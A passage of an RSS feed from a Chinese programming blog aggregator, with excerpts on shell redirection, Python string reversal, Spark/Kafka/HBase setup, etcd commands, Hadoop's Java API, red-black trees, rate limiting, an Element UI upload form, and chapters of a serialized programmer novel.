      <description>笨鸟先飞，先理解。 脚本是:&#xA;nohup /mnt/Nand3/H2000G &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;对于&amp;amp; 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_result ,然后复制标准输出到文件描述符2(STDERR_FILENO),其后果就是文件描述符1和2指向同一个文件表项,也可以说错误的输出被合并了.其中0表示键盘输入 1表示屏幕输出 2表示错误输出.把标准出错重定向到标准输出,然后扔到/DEV/NULL下面去。通俗的说，就是把所有标准输出和标准出错都扔到垃圾桶里面。&#xA;command &amp;gt;out.file 2&amp;gt;&amp;amp;1 &amp;amp;&#xA;command &amp;gt;out.file是将command的输出重定向到out.file文件，即输出内容不打印到屏幕上，而是输出到out.file文件中。2&amp;gt;&amp;amp;1 是将标准出错重定向到标准输出，这里的标准输出已经重定向到了out.file文件，即将标准出错也输出到out.file文件中。最后一个&amp;amp; ， 是让该命令在后台执行。&#xA;试想2&amp;gt;1代表什么，2与&amp;gt;结合代表错误重定向，而1则代表错误重定向到一个文件1，而不代表标准输出；&#xA;换成2&amp;gt;&amp;amp;1，&amp;amp;与1结合就代表标准输出了，就变成错误重定向到标准输出.&#xA;你可以用&#xA;ls 2&amp;gt;1测试一下，不会报没有2文件的错误，但会输出一个空的文件1；&#xA;ls xxx 2&amp;gt;1测试，没有xxx这个文件的错误输出到了1中；&#xA;ls xxx 2&amp;gt;&amp;amp;1测试，不会生成1这个文件了，不过错误跑到标准输出了；&#xA;ls xxx &amp;gt;out.txt 2&amp;gt;&amp;amp;1, 实际上可换成 ls xxx 1&amp;gt;out.txt 2&amp;gt;&amp;amp;1；重定向符号&amp;gt;默认是1,错误和输出都传到out.txt了。&#xA;为何2&amp;gt;&amp;amp;1要写在后面？&#xA;command &amp;gt; file 2&amp;gt;&amp;amp;1 首先是command &amp;gt; file将标准输出重定向到file中， 2&amp;gt;&amp;amp;1 是标准错误拷贝了标准输出的行为，也就是同样被重定向到file中，最终结果就是标准输出和错误都被重定向到file中。 command 2&amp;gt;&amp;amp;1 &amp;gt;file 2&amp;gt;&amp;amp;1 标准错误拷贝了标准输出的行为，但此时标准输出还是在终端。&amp;gt;file 后输出才被重定向到file，但标准错误仍然保持在终端。&#xA;用strace可以看到：&#xA;1. command &amp;gt; file 2&amp;gt;&amp;amp;1&#xA;这个命令中实现重定向的关键系统调用序列是：&#xA;open(file) == 3</description>
    </item>
    <item>
      <title>Python——实现字符串反向输出的5种方法</title>
      <link>https://bchobby.github.io/posts/f7a036ccc10bd6af72dc90a46b59f83d/</link>
      <pubDate>Mon, 30 Sep 2019 14:04:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7a036ccc10bd6af72dc90a46b59f83d/</guid>
      <description>喜欢编程，热爱分享，希望能结交更多志同道合的朋友，一起在学习Python的道路上走得更远！&#xA;Python——实现字符串反向输出的5种方法&#xA;方法1: for 循环&#xA;1 letter_num = list(input(&#39;please input some characters:&#39;)) 2 list_num = [] 3 def convert_order(): 4 for i in range(len(letter_num)):#根据列表的长度决定遍历的次数 5 list_num.append(letter_num[len(letter_num) - i - 1])#把letter_num中的值倒序添加到新列表中 6 print(&#39;&#39;.join(list_num))#把&#39;&#39;无间隔符添加到list_num中每个元素的中间,总体效果就是把列表转换为字符串 7 8 convert_order() 我是一名python开发工程师，整理了一套python的学习资料，从基础的python脚本到web开发、爬虫、 数据分析、数据可视化、机器学习、面试真题等。想要的可以进群：688244617免费领取 方法2: 递归 + 切片&#xA;1 # 方法二，递归,切片实现，巧妙 2 def des_output(s):#实现的功能是依次取最后一个元素 3 if (len(s) &amp;gt; 0): 4 print(s[-1],end =&#39;&#39;)#负数下标，先打印最后一个元素 5 des_output(s[0:-1])#从第一个元素到倒数第二个元素(从第一个元素到倒数第三个元素...) 6 7 s = input(&#39;string:&#39;) 8 des_output(s) 方法3:reverse()方法&#xA;1 #方法三,用reverse()方法对列表操作取反,join()方法使列表转换为字符串 2 str = list(input(&#39;input a string:&#39;)) 3 str.</description>
    </item>
    <item>
      <title>SparkStreaming消费kafka中的数据保存到HBase中简单demo</title>
      <link>https://bchobby.github.io/posts/208b42f8d6003d14fa6a1432babdabee/</link>
      <pubDate>Mon, 30 Sep 2019 11:18:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/208b42f8d6003d14fa6a1432babdabee/</guid>
      <description>概述 数据处理流程:kafka–&amp;gt;spark streaming --&amp;gt;hbase&#xA;最近在做数据处理,但是通过java api进行处理的,目前想通过spark去做处理,这里记下了一个简单的实现,但是生产上肯定不是那么简单的.后面会说有哪些优化的点.&#xA;环境 jdk 1.8 cdh:1.2.0-cdh5.16.1 scala:2.11.8 KAFKA-3.1.0-1.3.1.0 pom.xml &amp;lt;properties&amp;gt; &amp;lt;scala.version&amp;gt;2.11.8&amp;lt;/scala.version&amp;gt; &amp;lt;spark.version&amp;gt;2.2.0&amp;lt;/spark.version&amp;gt; &amp;lt;hadoop.version&amp;gt;2.6.0-cdh5.7.0&amp;lt;/hadoop.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;repositories&amp;gt; &amp;lt;!--&amp;lt;repository&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;id&amp;gt;scala-tools.org&amp;lt;/id&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;name&amp;gt;Scala-Tools Maven2 Repository&amp;lt;/name&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;url&amp;gt;http://scala-tools.org/repo-releases&amp;lt;/url&amp;gt;--&amp;gt; &amp;lt;!--&amp;lt;/repository&amp;gt;--&amp;gt; &amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;cloudera&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;cloudera&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://repository.cloudera.com/artifactory/cloudera-repos&amp;lt;/url&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;/repositories&amp;gt; &amp;lt;pluginRepositories&amp;gt; &amp;lt;pluginRepository&amp;gt; &amp;lt;id&amp;gt;scala-tools.org&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;Scala-Tools Maven2 Repository&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;http://scala-tools.org/repo-releases&amp;lt;/url&amp;gt; &amp;lt;/pluginRepository&amp;gt; &amp;lt;/pluginRepositories&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hbase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hbase-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.0-cdh5.16.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--scala depedency--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.scala-lang&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;scala-library&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${scala.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.spark&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spark-sql_2.11&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spark.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.spark&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spark-streaming_2.11&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spark.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--kafka dependency--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.spark&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spark-streaming-kafka-0-10_2.11&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spark.</description>
    </item>
    <item>
      <title>python 检查是否是None</title>
      <link>https://bchobby.github.io/posts/0709eba850928f9c4ce75bd175b3e1f8/</link>
      <pubDate>Mon, 30 Sep 2019 10:06:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0709eba850928f9c4ce75bd175b3e1f8/</guid>
      <description> python 检查是否是None&#xA;def check_data(self, data): temp = str(data) if temp is None: return &#39;暂无&#39; else: return data </description>
    </item>
    <item>
      <title>java操作hadoop_java api使用分享</title>
      <link>https://bchobby.github.io/posts/ce9ac150359cc2ce2548b07762738c25/</link>
      <pubDate>Mon, 30 Sep 2019 00:34:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce9ac150359cc2ce2548b07762738c25/</guid>
      <description>文章目录 文件系统对象FileSystem列出文件创建目录删除文件下载文件上传文件重命名文件完整程序 文件系统对象FileSystem Configuration conf = new Configuration(); // 获取配置文件对象 conf.set(&#34;fs.defaultFS&#34;, &#34;hdfs://localhost:9000&#34;); conf.set(&#34;fs.hdfs.impl&#34;, &#34;org.apache.hadoop.hdfs.DistributedFileSystem&#34;); FileSystem fsSource = FileSystem.get(URI.create(&#34;hdfs://localhost:9000&#34;), conf, user); // 获取文件系统对象 列出文件 public void listfiles(String where) throws IOException, InterruptedException { Configuration conf = new Configuration(); // 获取配置文件对象 conf.set(&#34;fs.defaultFS&#34;, &#34;hdfs://localhost:9000&#34;); conf.set(&#34;fs.hdfs.impl&#34;, &#34;org.apache.hadoop.hdfs.DistributedFileSystem&#34;); FileSystem fsSource = FileSystem.get(URI.create(&#34;hdfs://localhost:9000&#34;), conf, user); // 获取文件系统对象 try { RemoteIterator&amp;lt;LocatedFileStatus&amp;gt; iter = fsSource.listFiles(new Path(where.toString()), true); //这里的第二个参数true表示递归遍历，false反之 while (iter.hasNext()){ LocatedFileStatus file = iter.next(); String Path_file = file.getPath().toString(); // 获取文件目录 System.</description>
    </item>
    <item>
      <title>源码阅读(17)：红黑树在Java中的实现和应用</title>
      <link>https://bchobby.github.io/posts/b7b64b03eef0b2ab005d7e2604a35e93/</link>
      <pubDate>Sun, 29 Sep 2019 23:49:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7b64b03eef0b2ab005d7e2604a35e93/</guid>
      <description>（接上文《源码阅读(16)：Java中主要的Map结构——HashMap容器（上）》）&#xA;3.2、HashMap准备知识：红黑树 红黑树又称自平衡二叉查找树，由于其稳定的查找特性，红黑树在Java中有广泛的应用——例如我们将要讲解的TreeMap容器和当前正在讲解的HashMap容器都有红黑树的具体应用。红黑树的操作原理相对于我们已经讲解过的堆树要复杂一些，但也并不是说无法理解，读者只需要跟随本节的介绍思路进行理解，并自行动手对其中提到的关键点进行验证，即可掌握红黑树的基本原理。&#xA;在网络上也有一些介绍红黑树的资料，但部分资料生涩难懂，甚至有一部分资料存在明显的错误，无法实现红黑树的构造还原。本文将通过图文结合的方式，介绍红黑树构造的本质。&#xA;3.2.1、二叉查找树（二叉搜索树） 要讲解红黑树，就必须首先介绍二叉查找树，因为红黑树是二叉查找树在极端情况下，稳定其时间复杂度的一种优化结构。所谓二叉查找树是指这样一颗树：&#xA;首先它是一颗二叉树如果当前树的根结点存在左子树，则左子树上的任意结点的权值均小于当前根结点的权值如果当前树的根节点存在右子树，则右子树上的任意结点的权值均大于当前根结点的权值以此类推，以当前树上任何结点作为子树的根结点，则其左子树和右子树上的结点权值特点均满足以上第2点和第3点的描述二叉查找树上的结点，没有权值相等的两个结点。 请注意二叉查找树的定义和我们之前文章已经介绍过的堆树定义的区别，简单来说前者的定义更严格。针对以上对二叉查找树的定义，以下的树结构都是二叉查找树：</description>
    </item>
    <item>
      <title>96秒破百亿，如何抗住双11高并发流量</title>
      <link>https://bchobby.github.io/posts/cde27c609eec0cf02a477d7fdd7d6575/</link>
      <pubDate>Sun, 29 Sep 2019 20:45:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cde27c609eec0cf02a477d7fdd7d6575/</guid>
      <description>2019年双十一，1 分 36 秒，交易额冲到 100 亿 ！这个速度再次刷新天猫双 11 成交总额破 100 亿的纪录。&#xA;那么如何抗住双 11 高并发流量？接下来让我们一起来聊聊高可用的“大杀器”限流降级技术。&#xA;一、服务等级协议 我们常说的N个9，就是对SLA的一个描述。&#xA;SLA全称是ServiceLevel Agreement，翻译为服务水平协议，也称服务等级协议，它表明了公有云提供服务的等级以及质量。&#xA;例如阿里云对外承诺的就是一个服务周期内集群服务可用性不低于99.99%，如果低于这个标准，云服务公司就需要赔偿客户的损失。&#xA;1.1 做到4个9够好了吗 对互联网公司来说，SLA就是网站或者API服务可用性的一个保证。&#xA;9越多代表全年服务可用时间越长服务更可靠，4个9的服务可用性，听起来已经很高了，但对于实际的业务场景，这个值可能并不够。&#xA;我们来做一个简单的计算，假设一个核心链路依赖20个服务，强依赖同时没有配置任何降级，并且这20个服务的可用性达到4个9，也就是99.99%，&#xA;那这个核心链路的可用性只有99.99的20次方 = 99.8%，&#xA;如果有10亿次请求则有3,000,000次的失败请求&#xA;理想状况下，每年还是有17小时服务不可用&#xA;这是一个理想的估算，在实际的生产环境中，由于服务发布，宕机等各种各样的原因，情况肯定会比这个更差，&#xA;对于一些业务比较敏感的业务，比如金融，或是对服务稳定要求较高的行业，比如订单或者支付业务，这样的情况是不能接受的。&#xA;1.2 微服务的雪崩效应 除了对服务可用性的追求，微服务架构一个绕不过去的问题就是服务雪崩。&#xA;在一个调用链路上，微服务架构各个服务之间组成了一个松散的整体，牵一发而动全身，&#xA;服务雪崩是一个多级传导的过程，首先是某个服务提供者不可用，由于大量超时等待，继而导致服务调用者不可用，并且在整个链路上传导，继而导致系统瘫痪。&#xA;二、限流降级怎么做 如同上面我们分析的，在大规模微服务架构的场景下，避免服务出现雪崩，要减少停机时间，要尽可能的提高服务可用性。&#xA;提高服务可用性，可以从很多方向入手，比如缓存、池化、异步化、负载均衡、队列和降级熔断等手段。&#xA;缓存以及队列等手段，增加系统的容量&#xA;限流和降级则是关心在到达系统瓶颈时系统的响应，更看重稳定性&#xA;缓存和异步等提高系统的战力，限流降级关注的是防御。&#xA;限流和降级，具体实施方法可以归纳为八字箴言，分别是限流，降级，熔断和隔离。&#xA;2.1 限流和降级 限流顾名思义，提前对各个类型的请求设置最高的QPS阈值，若高于设置的阈值则对该请求直接返回，不再调用后续资源。&#xA;限流需要结合压测等，了解系统的最高水位，也是在实际开发中应用最多的一种稳定性保障手段。&#xA;降级则是当服务器压力剧增的情况下，根据当前业务情况及流量对一些服务和页面有策略的降级，以此释放服务器资源以保证核心任务的正常运行。&#xA;从降级配置方式上，降级一般可以分为主动降级和自动降级。&#xA;主动降级是提前配置，自动降级则是系统发生故障时，如超时或者频繁失败，自动降级。&#xA;其中，自动降级，又可以分为以下策略：&#xA;超时降级&#xA;失败次数降级&#xA;故障降级&#xA;在系统设计中，降级一般是结合系统配置中心，通过配置中心进行推送，下面是一个典型的降级通知设计&#xA;2.2 熔断隔离 如果某个目标服务调用慢或者有大量超时，此时熔断该服务的调用，对于后续调用请求，不在继续调用目标服务，直接返回，快速释放资源。&#xA;熔断一般需要设置不同的恢复策略，如果目标服务情况好转则恢复调用。&#xA;服务隔离与前面的三个略有区别，我们的系统通常提供了不止一个服务，但是这些服务在运行时是部署在一个实例，或者一台物理机上面的，&#xA;如果不对服务资源做隔离，一旦一个服务出现了问题，整个系统的稳定性都会受到影响！&#xA;服务隔离的目的就是避免服务之间相互影响。&#xA;一般来说，隔离要关注两方面，一个是在哪里进行隔离，另外一个是隔离哪些资源。&#xA;何处隔离&#xA;一次服务调用，涉及到的是服务提供方和调用方，我们所指的资源，也是两方的服务器等资源，服务隔离通常可以从提供方和调用方两个方面入手。&#xA;隔离什么&#xA;广义的服务隔离，不仅包括服务器资源，还包括数据库分库，缓存，索引等，这里我们只关注服务层面的隔离。&#xA;2.3 降级和熔断的区别 服务降级和熔断在概念上比较相近，通过两个场景，谈谈我自己的理解。</description>
    </item>
    <item>
      <title>小学生四则运算300题-python实现</title>
      <link>https://bchobby.github.io/posts/163399262a3ea2678c0557cfb1ed7e55/</link>
      <pubDate>Sun, 29 Sep 2019 17:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/163399262a3ea2678c0557cfb1ed7e55/</guid>
      <description>题目要求：给小学生出的100以内四则运算，有两个运算符，保证每个步骤运算结果都能整除，并且在100以内。&#xA;第一次作业代码实现：&#xA;import random oper = [&#39;+&#39;,&#39;-&#39;,&#39;*&#39;,&#39;/&#39;] i = 0 while i&amp;lt;300: a = random.randint(1,99) b = random.randint(1,99) c = random.randint(1,99) num = random.randint(0,3) a = str(a) b = str(b) c = str(c) res = a + oper[num] + b + oper[num] + c m = eval(res) res1 = a + oper[num] + b n = eval(res1) if (m&amp;lt;100) &amp;amp; (m&amp;gt;0) &amp;amp; isinstance(m,int) &amp;amp; (n&amp;gt;0) &amp;amp; isinstance(n,int): print(res,&#39;=&#39;,m) i+=1 选择python就是因为字符转数字，并且算出结果很方便，但是以上的代码存在问题：16行只保证了运算结果和前两位运算在100以内，像5+1/4这样的式子也能出现。</description>
    </item>
    <item>
      <title>etcd租约机制</title>
      <link>https://bchobby.github.io/posts/808ed05a667430b704212cb4fbd613f9/</link>
      <pubDate>Sun, 29 Sep 2019 14:36:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/808ed05a667430b704212cb4fbd613f9/</guid>
      <description>新建租约 新建一个过期时间为120s的租约&#xA;# etcdctl lease grant 120 lease 018f6d7bb11aba0d granted with TTL(120s) 查看新建的租约信息&#xA;# etcdctl lease list found 1 leases 018f6d7bb11aba0d&#xA;# etcdctl lease timetolive 018f6d7bb11aba0d --keys&#xA;lease 018f6d7bb11aba0d granted with TTL(120s), remaining(99s), attached keys([])&#xA;新建key，并为该key指定租约&#xA;# etcdctl put name alice --lease=&#34;018f6d7bb11aba0d&#34; OK # etcdctl put name1 tina --lease=&#34;018f6d7bb11aba0d&#34; OK&#xA;# etcdctl lease timetolive 018f6d7bb11aba0d --keys lease 018f6d7bb11aba0d granted with TTL(120s), remaining(60s), attached keys([name name1])&#xA;# etcdctl get --prefix &#34;</description>
    </item>
    <item>
      <title>etcd常用命令-增删改查</title>
      <link>https://bchobby.github.io/posts/626509e8cacbc95ed869beba04d94af3/</link>
      <pubDate>Sun, 29 Sep 2019 11:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/626509e8cacbc95ed869beba04d94af3/</guid>
      <description>增删改查key-values 插入数据测试 # etcdctl put name1 james&#xA;# etcdctl put name11 alice&#xA;# etcdctl put name12 seli # etcdctl put name2 jetty # etcdctl put name3 tom # etcdctl put name4 cris&#xA;# etcdctl put avg_age 25&#xA;查询数据 按key值查询 # etcdctl get name1 name1 james 不显示key只限制values&#xA;# etcdctl get --print-value-only name1 james 按key前缀查找 # etcdctl get --prefix name name1 james name11 alice name12 seli name2 jetty name3 tom name4 cris 按key的字节排序的前缀查找&amp;gt;= # etcdctl get --from-key name2 name2 jetty name3 tom name4 cris 按key的字节排序区间查找&amp;lt;= value &amp;lt; # etcdctl get name1 name3 name1 james name11 alice name12 seli name2 jetty 查找所有key # etcdctl get --from-key &#34;</description>
    </item>
    <item>
      <title>Element upload组件上传图片与回显图片</title>
      <link>https://bchobby.github.io/posts/20fa99ec6436f85ca1ab618fb3f0aacb/</link>
      <pubDate>Sun, 29 Sep 2019 10:08:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20fa99ec6436f85ca1ab618fb3f0aacb/</guid>
      <description>场景：新增商品时需要添加商品主图，新增成功之后可编辑&#xA;上传图片：&#xA;&amp;lt;el-form-item label=&#34;专区logo：&#34; style=&#34;height:160px&#34;&amp;gt; &amp;lt;div class=&#34;img&#34;&amp;gt; &amp;lt;el-upload action=&#34;https://testopenapi.nbdeli.com/crm/customer/saveChannelLogoFile&#34; :limit=&#34;1&#34; :on-preview=&#34;handlePictureCardPreview&#34; :on-success=&#34;handleUploadSuccess&#34; list-type=&#34;picture-card&#34; :on-remove=&#34;handleRemove&#34; :class=&#34;{disabled:uploadDisabled}&#34; :file-list=&#34;fileList&#34; &amp;gt; &amp;lt;i class=&#34;el-icon-plus&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;el-dialog :visible.sync=&#34;dialogVisible&#34;&amp;gt; &amp;lt;img width=&#34;100%&#34; :src=&#34;ruleForm.dialogImageUrl&#34; alt /&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;imgSpan2&#34;&amp;gt;只能上传jpg/png文件，50X50px&amp;lt;/div&amp;gt; &amp;lt;/el-form-item&amp;gt; data(){ return{ uploadDisabled: false,&#xA;logoId: &#34;1&#34;, //专区logo id dialogVisible: false, fileList: [], ruleForm: { dialogImageUrl: &#34;1&#34;, //专区logo 上传到后台之后，后台会返回一个id,只需要给后台传id,但是点击编辑的时候后台返回的是http地址 }, } } //删除图片 handleRemove(file, fileList) { console.log(file); this.uploadDisabled = false; }, //上传中 handlePictureCardPreview(file) { this.dialogImageUrl = file.url; console.log(this.dialogImageUrl); this.</description>
    </item>
    <item>
      <title>一个屌丝程序猿的人生（一百零五）</title>
      <link>https://bchobby.github.io/posts/ccfc7d13a4e03b00e20cd9970d426f18/</link>
      <pubDate>Sat, 28 Sep 2019 21:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ccfc7d13a4e03b00e20cd9970d426f18/</guid>
      <description>3月份的北京，立春已经过去了将近一个月，天气渐渐转暖，虽然城市内到处都是高楼大厦，但仅从道路两旁的一点绿意盎然中也能发现，春天是真的到了。&#xA;林萧自从踏入职场以来，已经度过了4个多月的职业生涯。&#xA;这段时间里，林萧基本上所有的精力都献给了工作，哪怕是私底下周末学习，也基本上都和工作有关，原因无他，只因为初入职场的林萧，就像一个干瘪的海绵一样，只是工作当中的东西，就足够他吸收了，实在是没有精力再研究别的东西。&#xA;这就像追女生一样，必须要先成为朋友，才能慢慢的变成女朋友，不然的话，结局往往反而会得不偿失。&#xA;所以这个阶段的林萧也不做他想，只想着能尽快把工作当中需要的知识尽快掌握，然后再考虑接下来的事情。&#xA;而随着时间的推移，在线做题网这个项目也逐渐进入到了维护阶段，林萧依旧是一个人负责网站的后台系统，而程佳丽和王立新，则是负责网站的前台系统，至于李魁，因为用的是C#，所以和三人所做的并不是同一个项目。&#xA;最近随着实践经验的增加，林萧对于增删改查那一套，已经是越来越熟练，所以林萧周末的精力，大部分都花在了研究框架上面，毕竟框架这东西在工作当中有着举足轻重的作用。&#xA;以前林萧只知道SSH整合要搞一堆XML配置，却不知道是什么意思，现在经过林萧工作中的实践和平时的学习，已经大概知道了每个配置是做什么的，这也算是林萧在知其然的基础上，迈出了知其所以然的第一步。&#xA;.......&#xA;一天中午，林萧四人一起出去吃饭。&#xA;而这次午饭四人没有去地下一层，几个月过去，林萧四人已经对周边越来越熟悉了，所以吃饭的地方也不仅限于地下一层，偶尔也会出来在周边找个饭馆尝尝鲜，林萧也就顺带着偶尔换换口味，不至于每顿饭都去地下一层吃燃面。&#xA;不过一般情况下，林萧一天里面中午和下午两顿饭，总是至少有一顿，会去地下一层吃上一碗燃面，这也算是林萧几个月以来养成的习惯了。&#xA;四人溜达了一会儿，最终来到了一家桂林米粉店，这家店几人也算是常来，走路离公司大约15分钟的样子，站在店门口，可以模糊的看到国贸附近的标志建筑——大裤衩。&#xA;之所以看的不是很清楚，倒不是因为距离的问题，而是因为雾霾的原因，这也算是北京的一大特色了。&#xA;饭桌上，等饭的时候，王立新一个人在旁边默默的玩手机，林萧三人则是一边等饭，一边有一句没一句的闲聊着。&#xA;本来三人始终是在聊一些租房的琐事，不过李魁在聊天空档中的一句话，却让林萧和程佳丽愣了一下，王立新的身体也不自觉地抖动了一下，只不过这一幕林萧三人都没有注意到。&#xA;“我最近发现，程刚好像对我有意见啊。”说完这个，李魁顿了一下，继续说道：“对了，你们三个有没有这种感觉？”&#xA;程佳丽回过神来后疑惑道：“对你有意见我们仨能有什么感觉？”&#xA;李魁哎呀一声，解释道：“我说的不是这个意思，我是说，你们三个有没有同样的感觉，就是有没有觉得程刚对你们三个也有意见的感觉。”&#xA;虽然李魁说的有点绕，但是林萧是听懂了，遂问道：“你是想问，程刚是不是对我们四个都有意见？”&#xA;李魁一拍大腿，“对，我就是这个意思，你们三个有没有感觉到？”&#xA;王立新闻言在一旁一直沉默不语，不过这也是他一贯的风格，林萧三人早就习以为常了。&#xA;程佳丽经过林萧这么一解释，倒是也理解了李魁的意思，但还是疑惑道：“你这么一说，倒确实有那么一点，不过他以前对我的态度也就一般般啊，这也没啥奇怪的吧。”&#xA;林萧倒是被李魁搞得心中一惊，因为他确实感觉到，程刚对自己的态度似乎比以前差了许多，虽然程刚也没有明着对林萧做什么，但程刚态度上的变化，林萧多少还是能感觉出来一点的。&#xA;不过林萧也没立马说出来，而是问道：“你怎么会觉得程刚对你有意见，你又不归他管。”&#xA;李魁闻言小声道：“正因为不归他管，我才觉得奇怪啊。我又没招他惹他，虽然我不喜欢他这个人，但平时路上碰到也会做做样子，我也都是笑着跟他打招呼，但他最近却老是板着一张脸，搞得好像我欠他钱似的，以前我们俩碰到他也不这样啊。”&#xA;程佳丽听完说道：“是不是你想多了，可能那会儿他有什么别的事心情不好呢？”&#xA;李魁连连摆手说道：“不可能，不可能。心情不好也不能一直心情不好吧，已经好几次了。”&#xA;林萧和程佳丽相互对视了一眼，从对方的眼神中能看出，两人都觉得李魁说的有道理，毕竟你心情再不好，也不可能老是对别人甩脸色吧，这明显有些不正常。&#xA;察觉到这一点，林萧有些忍不住的说道：“其实我也感觉出来了，他最近好像也不怎么跟我说话，似乎对我不太满意，本来我还以为，是因为我最近偶尔堵车迟到才这样，但听你这么一说，似乎跟这个也没什么关系啊。毕竟你又没迟到过，而且也不在他手底下干活，他对你这样，感觉没有必要啊？”&#xA;“你是不是最近得罪他了？”程佳丽出口问了句。&#xA;李魁露出一副思索的样子，随后说道：“没有啊。我特么都没怎么跟他说过话好吧？要非说得罪他的话，那也不能说没有，咱们吃饭的时候我不是经常骂他吗？难道是因为这个？那也不应该啊，他又听不到......”&#xA;话说到这，程佳丽的身体却猛地一颤，随后轻声的说道：“难道......”&#xA;其实程佳丽想说的是“难道有内奸”，但话到嘴里最终还是咽回去了，毕竟要说有内奸的话，那岂不是说内奸就在现场的四个人里。&#xA;这话要是说出去，那以后四人也别想愉快的玩耍了，肯定会心生间隙。&#xA;但很明显已经有些晚了，经他这么一提醒，林萧和李魁似乎都意识到了什么，随后三人互相对视了一眼，竟然都不约而同的看向了低头玩手机的王立新。&#xA;或许是感受到了三人的目光，王立新抬起头后，扫了三人一眼，随后有些不自然的笑了笑说道：“你们看我干什么？”&#xA;转载于:https://www.cnblogs.com/zuoxiaolong/p/diaosi105.html</description>
    </item>
    <item>
      <title>一个屌丝程序猿的人生（一百零四）</title>
      <link>https://bchobby.github.io/posts/dcf1528b0234c822f7f6e3877dc758f1/</link>
      <pubDate>Sat, 28 Sep 2019 21:02:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcf1528b0234c822f7f6e3877dc758f1/</guid>
      <description>打开官网之后，林萧来来回回的浏览了几遍。&#xA;看着网站上精致的手机图片，再看看自己手中的绝版三星翻盖手机，林萧心中换手机的想法已经一发不可收拾。&#xA;不过可悲的是，过完年回来，林萧才刚刚转正，虽然领了三个月工资，但都是打了八折的，而且房租马上三个月到期，这一下又要交三个月的房租，而林萧过年也花了一些钱，还特意给了父母每个人1006块钱。&#xA;为啥是1006？&#xA;林萧对此也算是花了些心思，因为过完年就是2012年，两个1006加一起就是2012，代表着父母两人在一起就是未来的意思。&#xA;这样做的结果倒是没让林萧失望，父母两人虽然嘴上没说什么，但林萧看得出来，两人十分的高兴，也算是成全了林萧的一番孝心。&#xA;但这样一通乱七八糟的花销下来，就导致林萧到现在基本上没存着什么钱。&#xA;眼瞅着网站上的手机似乎在向自己招手，而自己却囊中羞涩，林萧一时间不由得更加郁闷了。&#xA;当天晚上，林萧躺在床上，翻来覆去的死活就是睡不着，满脑子都是手机的影子。&#xA;如此过了约莫一个小时后，林萧实在是毫无睡意，“噌”的一下就从床上坐了起来，迅速拿起自己的绝版三星翻盖手机，打了个电话出去。&#xA;电话一接通，另一头就响起了一声咆哮，震得林萧差点没把手机给扔了。&#xA;“林萧，你特么脑子进水了？大半夜给我打电话。”&#xA;接电话的人叫杨阳，和林萧初中就是同学，两人上初中时就一起上下学，一起泡游戏厅打拳皇，这么多年过去了，虽然林萧和包括杨阳在内的几个初中死党都联系着，但如果非要分个亲疏远近的话，杨阳绝对算得上是林萧关系最好的死党，没有之一。&#xA;刚才在床上躺了这么久，林萧实在是经受不住新手机的诱惑，于是便想起了杨阳，想着看能否让杨阳帮忙给借点钱，反正以他的工资，一个5000多的手机，很快就能把钱还上。&#xA;“啊哈......兄弟啊，这不是想你了吗。”林萧十分无耻的说道。&#xA;“去你大爷的，少废话，说，到底啥事？”&#xA;“额......找你借点钱......”&#xA;电话另一头的杨阳沉默了片刻说道：“你可是第一次找我借钱，咋了这是？遇上啥事了？”&#xA;“我想买个手机......”&#xA;一听这个，对面的杨阳炸了，“妈的，我当是啥事！原来是想买手机，没钱买什么手机，还想借钱买手机，还特么大半夜找我借钱买手机，你吃错药了吧！”&#xA;“你懂啥！本来我再过两个月钱就够了，但是......这不是心急等不了了吗，嘿嘿。”&#xA;“行吧，要借多少钱？”&#xA;“额......也不多，6000就够了......”&#xA;不出意外的，对面的杨阳再次炸了，“你买个手机要